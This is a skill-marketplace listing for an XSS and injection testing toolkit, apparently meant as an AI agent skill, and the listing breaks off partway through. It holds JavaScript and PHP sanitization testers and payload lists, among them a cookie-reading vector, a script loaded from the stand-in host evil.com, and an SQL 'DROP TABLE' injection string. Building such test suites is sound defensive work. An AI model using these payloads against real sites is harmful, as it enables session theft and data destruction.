acidrain-security-testing-toolkit
Use AcidRain's XSS analysis resources, JavaScript utilities, and PHP injection testing samples for authorized web security research and learning
Informações da origem
- Repositório
- reason-machines/security-skills
- Última atividade na origem
- 4 de agosto de 2026 às 09:27
- Idioma detectado do SKILL.md
- inglês
- Estrelas
- 12
- Forks
- 1
Opções de instalação
Por padrão, está selecionado o prompt que primeiro revisa a origem. Você pode mudar para um comando direto ou baixar uma cópia local.
Revise os arquivos de origem
Leia o SKILL.md e os arquivos complementares exibidos pelo SkillsMP antes de decidir se vai instalar.
Exibindo SKILL.md
SKILL.md
Instruções da origem · Visualização somente leitura- name
- acidrain-security-testing-toolkit
- description
- Use AcidRain's XSS analysis resources, JavaScript utilities, and PHP injection testing samples for authorized web security research and learning
- triggers
- ["test XSS vulnerabilities with AcidRain","run AcidRain security scripts","analyze cross-site scripting with AcidRain","use AcidRain injection testing samples","set up AcidRain security toolkit","demonstrate XSS patterns with AcidRain","configure AcidRain for security testing","create XSS test cases using AcidRain"]
# AcidRain Security Testing Toolkit
> Skill by [ara.so](https://ara.so) — Security Skills collection.
AcidRain is a web-oriented collection of XSS analysis resources, JavaScript utilities, PHP examples, and injection testing samples designed for authorized security testing and hands-on learning. This toolkit provides browser-side and server-side scripts for exploring cross-site scripting behavior, input handling, and output processing in controlled environments.
## Installation
Clone the repository and navigate to the working directory:
```bash
git clone https://github.com/henry-lewiskpp1107/acidrain-security-script-hub.git
cd acidrain-security-script-hub
```
Inspect the directory structure to understand available resources:
```bash
ls -la scripts/
```
Expected structure:
```
acidrain-security-script-hub/
├── scripts/
│ ├── javascript/ # Client-side security testing scripts
│ ├── php/ # Server-side PHP examples
│ └── xss/ # XSS-specific resources
├── configs/ # Configuration files
├── examples/ # Working examples
├── docs/ # Documentation
├── LICENSE
└── README.md
```
## Key Components
### JavaScript Utilities
Client-side scripts for browser-based security testing. Place scripts in test environments or controlled pages:
```javascript
// Example: Basic XSS payload tester
function testXSSPayload(input, targetElement) {
try {
const sanitized = DOMPurify.sanitize(input);
document.querySelector(targetElement).innerHTML = sanitized;
console.log('Payload rendered:', input);
console.log('Sanitized output:', sanitized);
} catch (error) {
console.error('XSS test error:', error);
}
}
// Test reflection in a controlled environment
const testPayloads = [
'<script>alert("XSS")</script>',
'<img src=x onerror="alert(1)">',
'"><svg/onload=alert(1)>',
'javascript:alert(document.cookie)'
];
testPayloads.forEach(payload => {
console.log('Testing:', payload);
testXSSPayload(payload, '#test-target');
});
```
### PHP Security Research Scripts
Server-side examples for testing input validation and output encoding:
```php
<?php
// Example: Input sanitization tester
function testInputSanitization($input, $method = 'htmlspecialchars') {
echo "Original input: " . $input . "\n";
switch ($method) {
case 'htmlspecialchars':
$output = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
break;
case 'strip_tags':
$output = strip_tags($input);
break;
case 'filter_var':
$output = filter_var($input, FILTER_SANITIZE_FULL_SPECIAL_CHARS);
break;
default:
$output = $input;
}
echo "Sanitized output ($method): " . $output . "\n";
echo "Encoding applied: " . ($output !== $input ? 'Yes' : 'No') . "\n\n";
return $output;
}
// Test various XSS payloads
$testPayloads = [
'<script>alert("XSS")</script>',
'"><img src=x onerror=alert(1)>',
"'; DROP TABLE users;--",
'<svg/onload=alert(document.domain)>'
];
foreach ($testPayloads as $payload) {
testInputSanitization($payload, 'htmlspecialchars');
}
?>
```
### XSS Injection Testing Samples
Common XSS patterns for controlled testing:
```javascript
// Example: XSS vector library for authorized testing
const XSSVectors = {
// Basic script injection
basic: [
'<script>alert(1)</script>',
'<script>console.log(document.cookie)</script>',
'<script src="http://evil.com/xss.js"></script>'
],
// Event handler injection
eventHandlers: [
'<img src=x onerror=alert(1)>',
'<body onload=alert(1)>',
'<svg/onload=alert(1)>',
'<input onfocus=alert(1) autofocus>'
],
// Protocol-based
protocol: [
'<a href="javascript:alert(1)">Click</a>',
'<iframe src="javascript:alert(1)"></iframe>',
'<object data="javascript:alert(1)">'
],
// Context-breaking
contextBreak: [
'"><script>alert(1)</script>',
'\'-alert(1)-\'',
'</script><script>alert(1)</script>',
'`;alert(1);//'
]
};
// Test function for authorized environments
function runAuthorizedXSSTest(vectors, targetURL) {
if (!confirm('Run tests on ' + targetURL + '? Ensure authorization.')) {
return;
}
vectors.forEach((vector, index) => {
console.log(`Test ${index + 1}:`, vector);
// Implement actual testing logic for authorized target
// Store results for analysis
});
}
```
## Configuration
### Environment Setup
Create a configuration file for test environments:
```javascript
// config/test-environment.js
const TestConfig = {
// Target configuration
targetURL: process.env.TEST_TARGET_URL || 'http://localhost:8080',
// Authentication (if required)
authToken: process.env.AUTH_TOKEN,
// Test parameters
maxPayloadLength: 1000,
timeoutMs: 5000,
// Logging
verboseOutput: process.env.VERBOSE === 'true',
logFile: process.env.LOG_FILE || './logs/xss-tests.log',
// Safety checks
requireAuthorization: true,
allowedDomains: [
'localhost',
'127.0.0.1',
'test.local'
]
};
module.exports = TestConfig;
```
### PHP Configuration
```php
<?php
// config/security-test-config.php
return [
'test_mode' => getenv('TEST_MODE') === 'true',
'target_url' => getenv('TEST_TARGET_URL') ?: 'http://localhost',
'auth_token' => getenv('AUTH_TOKEN'),
// Test settings
'max_payloads' => 100,
'timeout' => 30,
// Output settings
'log_file' => getenv('LOG_FILE') ?: './logs/php-security-tests.log',
'verbose' => getenv('VERBOSE') === 'true',
// Safety
'require_authorization' => true,
'allowed_ips' => ['127.0.0.1', '::1']
];
?>
```
## Common Patterns
### Pattern 1: Automated Payload Testing
```javascript
// scripts/javascript/automated-xss-tester.js
class XSSTester {
constructor(config) {
this.config = config;
this.results = [];
}
async testPayload(payload, context) {
const testCase = {
payload,
context,
timestamp: new Date().toISOString(),
blocked: false,
sanitized: false
};
try {
// Create isolated test frame
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
document.body.appendChild(iframe);
const iframeDoc = iframe.contentDocument;
const testDiv = iframeDoc.createElement('div');
testDiv.innerHTML = payload;
iframeDoc.body.appendChild(testDiv);
// Check if scripts executed
testCase.blocked = !iframeDoc.querySelector('script');
testCase.sanitized = testDiv.innerHTML !== payload;
// Clean up
document.body.removeChild(iframe);
} catch (error) {
testCase.error = error.message;
testCase.blocked = true;
}
this.results.push(testCase);
return testCase;
}
async runTestSuite(payloads) {
console.log(`Running ${payloads.length} tests...`);
for (const payload of payloads) {
const result = await this.testPayload(payload, 'innerHTML');
if (this.config.verboseOutput) {
console.log('Result:', result);
}
}
return this.generateReport();
}
generateReport() {
const summary = {
total: this.results.length,
blocked: this.results.filter(r => r.blocked).length,
sanitized: this.results.filter(r => r.sanitized).length,
successful: this.results.filter(r => !r.blocked && !r.sanitized).length
};
return {
summary,
details: this.results
};
}
}
// Usage
const tester = new XSSTester({
verboseOutput: true
});
const payloads = [
'<script>alert(1)</script>',
'<img src=x onerror=alert(1)>',
'<svg/onload=alert(1)>'
];
tester.runTestSuite(payloads).then(report => {
console.log('Test Report:', report);
});
```
### Pattern 2: PHP Input Validation Testing
```php
<?php
// scripts/php/input-validation-tester.php
class InputValidationTester {
private $results = [];
public function testValidation($input, $validators) {
$testResult = [
'input' => $input,
'timestamp' => date('Y-m-d H:i:s'),
'validators' => []
];
foreach ($validators as $name => $validator) {
$output = $validator($input);
$testResult['validators'][$name] = [
'output' => $output,
'modified' => $output !== $input,
'length_change' => strlen($output) - strlen($input)
];
}
$this->results[] = $testResult;
return $testResult;
}
public function generateReport() {
return [
'total_tests' => count($this->results),
'results' => $this->results
];
}
}
// Define validators
$validators = [
'htmlspecialchars' => function($input) {
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
},
'strip_tags' => function($input) {
return strip_tags($input);
},
'filter_sanitize' => function($input) {
return filter_var($input, FILTER_SANITIZE_FULL_SPECIAL_CHARS);
},
'preg_replace_script' => function($input) {
return preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $input);
}
];
// Run tests
$tester = new InputValidationTester();
$testPayloads = [
'<script>alert("XSS")</script>',
'"><img src=x onerror=alert(1)>',
'<svg/onload=alert(1)>',
"'; DROP TABLE users;--"
];
foreach ($testPayloads as $payload) {
$result = $tester->testValidation($payload, $validators);
echo "Testing: " . $payload . "\n";
print_r($result);
echo "\n";
}
$report = $tester->generateReport();
echo json_encode($report, JSON_PRETTY_PRINT);
?>
```
### Pattern 3: Context-Aware XSS Testing
```javascript
// scripts/javascript/context-aware-tester.js
const ContextAwareXSS = {
contexts: {
html: {
name: 'HTML Context',
payloads: [
'<script>alert(1)</script>',
Ver no GitHubEste SKILL.md e muito grande, entao o SkillsMP mostra aqui apenas a primeira secao. Ver no GitHub
